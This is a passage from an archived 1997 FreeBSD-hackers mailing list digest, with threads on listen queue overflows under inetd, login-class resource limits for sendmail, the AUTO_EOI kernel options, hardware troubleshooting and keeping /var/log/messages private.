-0700 (PDT) Received: from LOCAL (uucp@localhost) by news.IAEhv.nl (8.6.13/1.63) with IAEhv.nl; pid 25379 on Fri, 8 Aug 1997 01:15:36 GMT; id BAA25379 efrom: peter@grendel.IAEhv.nl; eto: hackers@FreeBSD.ORG Received: (from peter@localhost) by grendel.IAEhv.nl (8.8.5/8.8.5) id PAA00504; Thu, 7 Aug 1997 15:48:04 +0200 (CEST) Message-ID: <19970807154804.55036@grendel.IAEhv.nl> Date: Thu, 7 Aug 1997 15:48:04 +0200 From: Peter Korsten To: hackers@FreeBSD.ORG Subject: Re: Status of USB, TX chipset, PIIX3, etc. References: <199708061810.LAA14421@phaeton.artisoft.com> <199708062331.TAA24126@hda.hda.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.67e In-Reply-To: <199708062331.TAA24126@hda.hda.com>; from Peter Dufault on Wed, Aug 06, 1997 at 07:31:21PM -0400 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Peter Dufault shared with us: > > > Well, USB ports have been a selling point on a lot of systems here, > > > but most of the motherboards that ship with it come with mini-8 DIN > > > connectors rather than the "real" USB connector. > > > > Well, that's it, then. The standard is doomed... > > Useless data point: my crashbox Compaq Presario has two weird USB connectors > on the back. AFAIK, those two weird connectors are the USB-connectors. The 8-pin mini-DINs, aren't those for the PS/2 keyboard and ditto mouse on an ATX case? - Peter From owner-freebsd-hackers Thu Aug 7 18:16:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA12780 for hackers-outgoing; Thu, 7 Aug 1997 18:16:57 -0700 (PDT) Received: from news.IAEhv.nl (root@news.IAEhv.nl [194.151.64.4]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id SAA12775 for ; Thu, 7 Aug 1997 18:16:51 -0700 (PDT) Received: from LOCAL (uucp@localhost) by news.IAEhv.nl (8.6.13/1.63) with IAEhv.nl; pid 25368 on Fri, 8 Aug 1997 01:15:28 GMT; id BAA25368 efrom: peter@grendel.IAEhv.nl; eto: UNKNOWN Received: (from peter@localhost) by grendel.IAEhv.nl (8.8.5/8.8.5) id CAA00595; Fri, 8 Aug 1997 02:38:49 +0200 (CEST) Message-ID: <19970808023849.48031@grendel.IAEhv.nl> Date: Fri, 8 Aug 1997 02:38:49 +0200 From: Peter Korsten To: donal@brewich.com Cc: hackers@FreeBSD.ORG, Doug White Subject: Re: vm_fault problem (fwd) References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.67e In-Reply-To: ; from Doug White on Thu, Aug 07, 1997 at 12:32:48PM -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Doug White shared with us: > > ---------- Forwarded message ---------- > Date: Wed, 06 Aug 1997 23:26:27 -0500 > From: Donal > To: questions@FreeBSD.ORG > Cc: gclarkii@main.gbdata.com > Subject: vm_fault problem > > I am having a problem, and I hope you can help or direct me to someone who > can. > I recently upgraded my comm server to 2.2.2 and upgraded some of the > hardware. The system is now: > Gigabyte HX motherboard (new) > Award BIOS > on board IDE > 2 com ports > 2x16MB 60ns EDO RAM (new) > 1.2GB Maxtor IDE (new) > NE2000 card > Trident ISA video card > Usenet II 4 port Serial card Too bad that you don't mention what the setup used to be. What I'd suggest, is: - Buy a quality motherboard, like Asus or Tyan. 'Gigabyte' doesn't ring a bell, but that could be just me. - Throw out the ISA video card and replace it with a (cheap) PCI one. Though I've never had any problems with FreeBSD and my previous ISA card, I did have them with Windows 95, together with an Asus P55T2P4 motherboard and a Teles S0.16/3 ISDN board. Still, I don't suspect that your gateway will run X, so perhaps it's not the cause of the problem. My personal experience is, that the more expensive your parts, the less problems you have. SCSI is to be prefered over IDE, though for a gateway, that probably isn't an issue, only for a server. Don't economize on hardware. Lost customers and wasted time are far more expensive. - Peter From owner-freebsd-hackers Thu Aug 7 18:23:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA13034 for hackers-outgoing; Thu, 7 Aug 1997 18:23:26 -0700 (PDT) Received: from panda.hilink.com.au (panda.hilink.com.au [203.8.15.25]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA13027 for ; Thu, 7 Aug 1997 18:23:19 -0700 (PDT) Received: (from danny@localhost) by panda.hilink.com.au (8.8.5/8.8.5) id LAA08469; Fri, 8 Aug 1997 11:24:27 +1000 (EST) Date: Fri, 8 Aug 1997 11:24:26 +1000 (EST) From: "Daniel O'Callaghan" To: freebsd-hackers@freebsd.org Subject: Listen queue overflows and SOMAXCONN Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I have a Web server which is getting busy and the listen queue is overflowing. Kernel is 2.1.5; binaries are 2.1.7.1. Sysctl reports kern.maxconn=128 Now please don't scream and shout, because I have good reasons for doing what I am doing, but I am running the web servers out of inetd. I want to continue to do so if at all possible. I have rebuilt inetd with listen(...,128) for SOCK_STREAM. inetd runs at about 0.4% CPU according to 'top'. By using the ipfw rule 'allow tcp from any to any 80 in tcpflags syn' I can count the number of syn packets received, and I have been recording number of syns in 10 second periods. It averages 17 and has peaked at 40 between 10am and 11am today. In the same period there were 269 listen queue overflows, for about 4600 actual connections. ~reboot Fri Aug 8 09:04:24 EST 1997 2 listen queue overflows Fri Aug 8 09:25:02 EST 1997 22 listen queue overflows Fri Aug 8 10:00:00 EST 1997 96 listen queue overflows Fri Aug 8 10:17:41 EST 1997 172 listen queue overflows Fri Aug 8 10:59:21 EST 1997 365 listen queue overflows If I have to, I will stop running the servers out of inetd, or build another machine to share the load, but I'm sure FreeBSD should be able to handle this load easily. The machine is a P133 on Gigabyte 512k m/b 48MB RAM, ncr scsi with SCSI-2 disks. top says load average=0.3 and Idle=90% There are 254 IP addresses aliased to lo0. 'netstat -m' says 94 mbufs in use; 29/168 mbufclusters in use. Does anyone have any ideas about what could be the problem, and how to fix it. I have been planning to upgrade the machine to 2.2.2-RELENG - should I plan faster? /* Daniel O'Callaghan */ /* HiLink Internet danny@hilink.com.au */ /* FreeBSD - works hard, plays hard... danny@freebsd.org */ From owner-freebsd-hackers Thu Aug 7 18:56:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA14802 for hackers-outgoing; Thu, 7 Aug 1997 18:56:30 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id SAA14797 for ; Thu, 7 Aug 1997 18:56:27 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0wweHX-0006P1-00; Thu, 7 Aug 1997 18:55:59 -0700 Date: Thu, 7 Aug 1997 18:55:59 -0700 (PDT) From: Tom Samplonius To: David Nugent cc: Alan Batie , hackers@freebsd.org Subject: Re: login classes In-Reply-To: <199708080107.LAA03873@labs.usn.blaze.net.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Fri, 8 Aug 1997, David Nugent wrote: ... > > God help me if sendmail gives up root before invoking smrsh and I have to > > hack *it*. Especially when I have two days left before I leave... > > I don't see why this is necessary. Increase resources in your *daemon* > class since that's what applies here. The user's resources aren't > involved except when it comes to counting resource use for that user. Will this actually work? Since daemon hasn't logged in, or been executed by something that can set the resource limits? Also, the issue here is that Alan probably wants smsh NOT to have the limits of daemon, but of that user. Lot of users screw up, and put junk in their .forward file, and when they get mail they end of chewing up CPU, and/or RAM. ... > Regards, > David > > -- > David Nugent - Unique Computing Pty Ltd - Melbourne, Australia > davidn@freebsd.org davidn@blaze.net.au http://www.blaze.net.au/~davidn/ Tom From owner-freebsd-hackers Thu Aug 7 19:04:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA15192 for hackers-outgoing; Thu, 7 Aug 1997 19:04:22 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id TAA15183 for ; Thu, 7 Aug 1997 19:04:17 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0wweP8-0006PM-00; Thu, 7 Aug 1997 19:03:50 -0700 Date: Thu, 7 Aug 1997 19:03:49 -0700 (PDT) From: Tom Samplonius To: "Daniel O'Callaghan" cc: freebsd-hackers@freebsd.org Subject: Re: Listen queue overflows and SOMAXCONN In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Fri, 8 Aug 1997, Daniel O'Callaghan wrote: > If I have to, I will stop running the servers out of inetd, or build I would. inetd will really hurt your ability to handle lots of connections. inetd is single threaded. It accepts a single connection, then forks, and execs, then accepts another connection. So basically, you get the time it takes to fork, and exec delay between accepting every connection. Not too good. If you run in daemon mode, you always save the exec time, plus apache can pre-fork a number of daemons to save you that time as well. Basicallly, a big win. > another machine to share the load, but I'm sure FreeBSD should be able to > handle this load easily. The machine is a P133 on Gigabyte 512k m/b 48MB > RAM, ncr scsi with SCSI-2 disks. top says load average=0.3 and Idle=90% > There are 254 IP addresses aliased to lo0. Basically load isn't getting very high, because it isn't working very efficiently. I belive fork times are a bit faster in 2.2-stable. Also, compiling httpd static might speed your exec times (and fork?). Basically shared libraries don't need to considered during the exec. > /* Daniel O'Callaghan */ > /* HiLink Internet danny@hilink.com.au */ > /* FreeBSD - works hard, plays hard... danny@freebsd.org */ > > > Tom From owner-freebsd-hackers Thu Aug 7 19:13:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA15550 for hackers-outgoing; Thu, 7 Aug 1997 19:13:06 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id TAA15531 for ; Thu, 7 Aug 1997 19:13:02 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0wweXb-0006Pq-00; Thu, 7 Aug 1997 19:12:35 -0700 Date: Thu, 7 Aug 1997 19:12:34 -0700 (PDT) From: Tom Samplonius To: hackers@freebsd.org Subject: AUTO_EOI_* ? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk It seems that the AUTO_EOI_* options might speed interupt handling. I've tried them on some motherboards, and they seem to work ok. Are these options recommended? I've seen some talk that these options should be eliminated? Tom From owner-freebsd-hackers Thu Aug 7 19:43:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA16832 for hackers-outgoing; Thu, 7 Aug 1997 19:43:50 -0700 (PDT) Received: from hydrogen.nike.efn.org (resnet.uoregon.edu [128.223.170.28]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA16827 for ; Thu, 7 Aug 1997 19:43:47 -0700 (PDT) Received: (from jmg@localhost) by hydrogen.nike.efn.org (8.8.5/8.8.5) id TAA29622; Thu, 7 Aug 1997 19:43:37 -0700 (PDT) Message-ID: <19970807194336.27057@hydrogen.nike.efn.org> Date: Thu, 7 Aug 1997 19:43:36 -0700 From: John-Mark Gurney To: Tom Samplonius Cc: hackers@FreeBSD.ORG Subject: Re: AUTO_EOI_* ? References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.69 In-Reply-To: ; from Tom Samplonius on Thu, Aug 07, 1997 at 07:12:34PM -0700 Reply-To: John-Mark Gurney Organization: Cu Networking X-Operating-System: FreeBSD 2.2.1-RELEASE i386 X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31 96 7A 22 B3 D8 56 36 F4 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Tom Samplonius scribbled this message on Aug 7: > > It seems that the AUTO_EOI_* options might speed interupt handling. > I've tried them on some motherboards, and they seem to work ok. Are these > options recommended? I've seen some talk that these options should be > eliminated? well... don't make AUTO_EOI_2 enabled by default... I have a motherboard that dies when this option is enabled... though I haven't found one yet when AUTO_EOI_1 is enabled... the comments say that AUTO_EOI_1 will break suspend/resume on some notebooks... so it looks like we can't enable both by default... -- John-Mark Gurney Modem/FAX: +1 541 683 6954 Cu Networking Live in Peace, destroy Micro$oft, support free software, run FreeBSD From owner-freebsd-hackers Thu Aug 7 21:25:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA20451 for hackers-outgoing; Thu, 7 Aug 1997 21:25:09 -0700 (PDT) Received: from labs.usn.blaze.net.au (root@labs.usn.blaze.net.au [203.17.53.30]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA20440 for ; Thu, 7 Aug 1997 21:24:59 -0700 (PDT) Received: from labs.usn.blaze.net.au (davidn@local [127.0.0.1]) by labs.usn.blaze.net.au (8.8.6/8.8.5) with ESMTP id OAA00454; Fri, 8 Aug 1997 14:21:28 +1000 (EST) Message-Id: <199708080421.OAA00454@labs.usn.blaze.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: Tom Samplonius cc: Alan Batie , hackers@FreeBSD.ORG Subject: Re: login classes In-reply-to: Your message of "Thu, 07 Aug 1997 18:55:59 MST." X-Face: (W@z~5kg?"+5?!2kHP)+l369.~a@oTl^8l87|/s8"EH?Uk~P#N+Ec~Z&@;'LL!;3?y Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 08 Aug 1997 14:21:27 +1000 From: David Nugent Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > I don't see why this is necessary. Increase resources in your *daemon* > > class since that's what applies here. The user's resources aren't > > involved except when it comes to counting resource use for that user. > > Will this actually work? Yes. Daemon is the default class used by init. Unless specifically modified, anything started by init (which is almost everything) inherits resources of the daemon class since that's how /etc/rc and friends are started. > Since daemon hasn't logged in, or been > executed by something that can set the resource limits? You're confusing logins with login classes, I think. :-) > Also, the issue here is that Alan probably wants smsh NOT to have the > limits of daemon, but of that user. Lot of users screw up, and put junk > in their .forward file, and when they get mail they end of chewing up CPU, > and/or RAM. Hmm. Then there's the other tack that mail delivery will unnecessarily fail because user resources are generally lower than the daemon class. I may have to revisit this one, I think. Technically this makes .forward a "security hole" which a user could exploit to gain more resources, but with smrsh in particular, the administrator already has some fairly direct control on what can and cannot be run from .forward files, so this "flaw" is a noop. But it isn't like the administrator doesn't already have some control, since there's the daemon class fallback, or sendmail could be started using limits(1) to set more appropriate limits for mail delivery (globally). Perhaps /etc/rc.conf should be modified to contain a $sendmail_command variable as well, which would better facilitate this (and alternative mailer daemons as well). There are arguments both ways. Personally I rely on the current behaviour, as procmail in particular tends to consume a lot of memory with large messages; more memory than I allow for shell users. The only other area I am aware of where there is a 'hole' is at(1), which is on the todo list. Other things keep cropping up and get higher on the list. :) Regards, David From owner-freebsd-hackers Thu Aug 7 21:40:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA21332 for hackers-outgoing; Thu, 7 Aug 1997 21:40:32 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id VAA21096 for ; Thu, 7 Aug 1997 21:35:44 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0wwg21-00003A-00; Thu, 7 Aug 1997 20:48:05 -0700 Date: Thu, 7 Aug 1997 20:48:05 -0700 (PDT) From: Tom Samplonius To: John-Mark Gurney cc: hackers@freebsd.org Subject: Re: AUTO_EOI_* ? In-Reply-To: <19970807194336.27057@hydrogen.nike.efn.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Thu, 7 Aug 1997, John-Mark Gurney wrote: > Tom Samplonius scribbled this message on Aug 7: > > > > It seems that the AUTO_EOI_* options might speed interupt handling. > > I've tried them on some motherboards, and they seem to work ok. Are these > > options recommended? I've seen some talk that these options should be > > eliminated? > > well... don't make AUTO_EOI_2 enabled by default... I have a motherboard > that dies when this option is enabled... though I haven't found one yet > when AUTO_EOI_1 is enabled... the comments say that AUTO_EOI_1 will > break suspend/resume on some notebooks... so it looks like we can't > enable both by default... Every motherboard I've tried it on works fine, even an old EISA 486 motherboard, but all the boards I tested were made by ASUS... > -- > John-Mark Gurney Modem/FAX: +1 541 683 6954 > Cu Networking > > Live in Peace, destroy Micro$oft, support free software, run FreeBSD > > Tom From owner-freebsd-hackers Thu Aug 7 22:47:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA24537 for hackers-outgoing; Thu, 7 Aug 1997 22:47:37 -0700 (PDT) Received: from zippy.dyn.ml.org (garbanzo@sfmax3-4.ppp.wenet.net [206.80.14.4]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA24523 for ; Thu, 7 Aug 1997 22:47:32 -0700 (PDT) Received: from localhost (garbanzo@localhost) by zippy.dyn.ml.org (8.8.6/8.8.5) with SMTP id WAA02118; Thu, 7 Aug 1997 22:47:04 -0700 (PDT) X-Authentication-Warning: zippy.dyn.ml.org: garbanzo owned process doing -bs Date: Thu, 7 Aug 1997 22:47:04 -0700 (PDT) From: Alex X-Sender: garbanzo@zippy.dyn.ml.org To: Peter Korsten cc: donal@brewich.com, hackers@FreeBSD.ORG, Doug White Subject: Re: vm_fault problem (fwd) In-Reply-To: <19970808023849.48031@grendel.IAEhv.nl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, 8 Aug 1997, Peter Korsten wrote: > Too bad that you don't mention what the setup used to be. What I'd > suggest, is: > - Buy a quality motherboard, like Asus or Tyan. 'Gigabyte' > doesn't ring a bell, but that could be just me. > - Throw out the ISA video card and replace it with a (cheap) > PCI one. Though I've never had any problems with FreeBSD and > my previous ISA card, I did have them with Windows 95, together > with an Asus P55T2P4 motherboard and a Teles S0.16/3 ISDN > board. Still, I don't suspect that your gateway will run X, > so perhaps it's not the cause of the problem. > > My personal experience is, that the more expensive your parts, the > less problems you have. SCSI is to be prefered over IDE, though > for a gateway, that probably isn't an issue, only for a server. > > Don't economize on hardware. Lost customers and wasted time are > far more expensive. I've ran FreeBSD on a fairly expensive (at the time) ThinkPad 360CSE, and had experienced very random reboots and the like. Probably not caused by the same thing though. I finally had enough when a simple program crashed and rebooted the whole system. - alex From owner-freebsd-hackers Thu Aug 7 23:07:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA25415 for hackers-outgoing; Thu, 7 Aug 1997 23:07:03 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id XAA25409 for ; Thu, 7 Aug 1997 23:06:59 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0wwiB2-000076-00; Thu, 7 Aug 1997 23:05:32 -0700 Date: Thu, 7 Aug 1997 23:05:31 -0700 (PDT) From: Tom Samplonius To: David Nugent cc: Alan Batie , hackers@freebsd.org Subject: Re: login classes In-Reply-To: <199708080421.OAA00454@labs.usn.blaze.net.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Fri, 8 Aug 1997, David Nugent wrote: > > Since daemon hasn't logged in, or been > > executed by something that can set the resource limits? > > You're confusing logins with login classes, I think. :-) I'm assuming that the login process was the only thing that set the resource limits from that users login class. I had no idea that init set these as well. I was also surprised about cron, so I'll have to upgrade some boxes. Do you have a comprehensive list of things that are setting the login class? > > Also, the issue here is that Alan probably wants smsh NOT to have the > > limits of daemon, but of that user. Lot of users screw up, and put junk > > in their .forward file, and when they get mail they end of chewing up CPU, > > and/or RAM. > > Hmm. Then there's the other tack that mail delivery will unnecessarily > fail because user resources are generally lower than the daemon class. Hmm, does mail delivery really require a lot of resources? ... > There are arguments both ways. Personally I rely on the current behaviour, > as procmail in particular tends to consume a lot of memory with large > messages; more memory than I allow for shell users. I don't like procmail, I wish there was a simple filter that just looked a headers, rather than scanning the entire message. It also doesn't support more "modern" mailbox types. > The only other area I am aware of where there is a 'hole' is at(1), > which is on the todo list. Other things keep cropping up and get > higher on the list. :) Hmmm, doesn't wu-ftpd allow users to exec via "SITE EXEC"? wu-ftpd isn't installed by default, but you have to vigilant. I guess this is kinda of ports issue... > Regards, > David Tom From owner-freebsd-hackers Fri Aug 8 00:04:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA28058 for hackers-outgoing; Fri, 8 Aug 1997 00:04:04 -0700 (PDT) Received: from server.local.sunyit.edu (A-T34.rh.sunyit.edu [150.156.210.241]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA28040 for ; Fri, 8 Aug 1997 00:03:52 -0700 (PDT) Received: from localhost (perlsta@localhost) by server.local.sunyit.edu (8.8.5/8.8.5) with SMTP id CAA02158 for ; Fri, 8 Aug 1997 02:09:31 GMT X-Authentication-Warning: server.local.sunyit.edu: perlsta owned process doing -bs Date: Fri, 8 Aug 1997 02:09:31 +0000 (GMT) From: Alfred Perlstein X-Sender: perlsta@server.local.sunyit.edu To: hackers@FreeBSD.ORG Subject: log access files? In-Reply-To: <199708020347.NAA08948@genesis.atrad.adelaide.edu.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk What would be a good way to keep the files: /var/log/messages*.* readable only by certain users? just incase someone types thier password at the login prompt i don't want those files public... ._________________________________________ __ _ |Alfred Perlstein - Programming & SysAdmin |perlsta@sunyit.edu |http://www.cs.sunyit.edu/~perlsta : ---"Have you seen my FreeBSD tatoo?" ' From owner-freebsd-hackers Fri Aug 8 00:25:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA28711 for hackers-outgoing; Fri, 8 Aug 1997 00:25:36 -0700 (PDT) Received: from counterintelligence.ml.org (mdean.vip.best.com [206.86.94.101]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA28704 for ; Fri, 8 Aug 1997 00:25:31 -0700 (PDT) Received: from localhost (jamil@localhost) by counterintelligence.ml.org (8.8.6/8.8.5) with SMTP id AAA00488; Fri, 8 Aug 1997 00:24:47 -0700 (PDT) Date: Fri, 8 Aug 1997 00:24:47 -0700 (PDT) From: "Jamil J. Weatherbee" To: Tom cc: Atipa , hackers@FreeBSD.ORG Subject: Re: Sessreg, and Webramp M3 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk i thought that multilink ppp had to also be supported by the router on the other end to work properly the webramp claims to do without this (you can use ant combination of different service providers /static/dynamic ip's etc., naybye this only works because of the way most web servers operate), well I am getting an Ascend Pipeline 50 and dedicated line so i guess it is not really that important :) On Thu, 7 Aug 1997, Tom wrote: > > On Wed, 6 Aug 1997, Jamil J. Weatherbee wrote: > > > 2. How would a person with multiple modems attached (suppose through a > > cyclades card) make a freebsd do whatever tricks the Webramp M3 does with > > uses multiple modems on presumably multiple IP addresses, much like a > > multihoned network but without gated. > > I thought the Webramp use multilink PPP (MP) to bond multiple modems > into one PPP interface? So it really isn't multiple interfaces or > multihomed at all. > > You can use the mpd (in ports?). It is basically the stock ppp, with MP > features. > > Tom > > From owner-freebsd-hackers Fri Aug 8 00:27:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA28782 for hackers-outgoing; Fri, 8 Aug 1997 00:27:10 -0700 (PDT) Received: from Campino.Informatik.RWTH-Aachen.DE (campino.Informatik.RWTH-Aachen.DE [137.226.116.240]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA28777 for ; Fri, 8 Aug 1997 00:27:07 -0700 (PDT) Received: from gil.physik.rwth-aachen.de (gilberto.physik.rwth-aachen.de [137.226.31.2]) by Campino.Informatik.RWTH-Aachen.DE (RBI-Z-5/8.6.12) with ESMTP id JAA15017 for ; Fri, 8 Aug 1997 09:28:01 +0200 (MET DST) Received: (from kuku@localhost) by gil.physik.rwth-aachen.de (8.8.5/8.6.9) id JAA04463; Fri, 8 Aug 1997 09:28:56 +0200 (MEST) Date: Fri, 8 Aug 1997 09:28:56 +0200 (MEST) From: Christoph Kukulies Message-Id: <199708080728.JAA04463@gil.physik.rwth-aachen.de> To: freebsd-hackers@freefall.FreeBSD.org Subject: wireless office network - ref? Cc: v@gilberto.physik.RWTH-Aachen.DE Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk About three weeks ago some company was offering a wirelesse office network hardware and was asking for interest in someone writing a driver or asking for general interest and offered to write a driver dependant on that. Anyway, suddenly this has become an issue with me here and I'm seeking for that reference. The posting was about 4 weeks ago IIRC. -- Chris Christoph P. U. Kukulies kuku@gil.physik.rwth-aachen.de From owner-freebsd-hackers Fri Aug 8 00:54:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA00533 for hackers-outgoing; Fri, 8 Aug 1997 00:54:23 -0700 (PDT) Received: from panda.hilink.com.au (panda.hilink.com.au [203.8.15.25]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA00528 for ; Fri, 8 Aug 1997 00:54:19 -0700 (PDT) Received: (from danny@localhost) by panda.hilink.com.au (8.8.5/8.8.5) id RAA10059; Fri, 8 Aug 1997 17:55:39 +1000 (EST) Date: Fri, 8 Aug 1997 17:55:39 +1000 (EST) From: "Daniel O'Callaghan" To: Alfred Perlstein cc: hackers@FreeBSD.ORG Subject: Re: log access files? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, 8 Aug 1997, Alfred Perlstein wrote: > What would be a good way to keep the files: > /var/log/messages*.* > > readable only by certain users? just incase someone types thier password > at the login prompt i don't want those files public... man newsyslog(8) and vi /etc/newsyslog.conf Danny From owner-freebsd-hackers Fri Aug 8 01:05:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA01335 for hackers-outgoing; Fri, 8 Aug 1997 01:05:22 -0700 (PDT) Received: from counterintelligence.ml.org (mdean.vip.best.com [206.86.94.101]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA01329 for ; Fri, 8 Aug 1997 01:05:17 -0700 (PDT) Received: from localhost (jamil@localhost) by counterintelligence.ml.org (8.8.6/8.8.5) with SMTP id AAA00514; Fri, 8 Aug 1997 00:41:18 -0700 (PDT) Date: Fri, 8 Aug 1997 00:41:18 -0700 (PDT) From: "Jamil J. Weatherbee" To: Alfred Perlstein cc: hackers@FreeBSD.ORG Subject: Re: log access files? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk He is right this should be the default --- I am not the only one to admit that I often (when in a hurry) acciedntally type my password in the login: prompt. On Fri, 8 Aug 1997, Alfred Perlstein wrote: > > What would be a good way to keep the files: > /var/log/messages*.* > > readable only by certain users? just incase someone types thier password > at the login prompt i don't want those files public... > > ._________________________________________ __ _ > |Alfred Perlstein - Programming & SysAdmin > |perlsta@sunyit.edu > |http://www.cs.sunyit.edu/~perlsta > : ---"Have you seen my FreeBSD tatoo?" > ' > > From owner-freebsd-hackers Fri Aug 8 06:11:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA13033 for hackers-outgoing; Fri, 8 Aug 1997 06:11:39 -0700 (PDT) Received: from labs.usn.blaze.net.au (mail@labs.usn.blaze.net.au [203.17.53.30]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id GAA13022 for ; Fri, 8 Aug 1997 06:11:15 -0700 (PDT) Received: from labs.usn.blaze.net.au [127.0.0.1] (davidn) by labs.usn.blaze.net.au with esmtp (Exim 1.62 #1) id 0wwoia-0001kj-00 (Debian); Fri, 8 Aug 1997 23:04:36 +1000 To: Tom Samplonius cc: Alan Batie , hackers@freebsd.org Subject: Re: login classes In-reply-to: Your message of "Thu, 07 Aug 1997 23:05:31 MST." X-Face: (W@z~5kg?"+5?!2kHP)+l369.~a@oTl^8l87|/s8"EH?Uk~P#N+Ec~Z&@;'LL!;3?y Date: Fri, 08 Aug 1997 23:04:36 +1000 From: David Nugent Message-Id: Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Do you have a comprehensive list of things that are setting the login > class? login, slogin (our port, anyway), rlogin, telnet (both via login), ftpd, cron. > > Hmm. Then there's the other tack that mail delivery will unnecessarily > > fail because user resources are generally lower than the daemon class. > > Hmm, does mail delivery really require a lot of resources? It isn't so much a 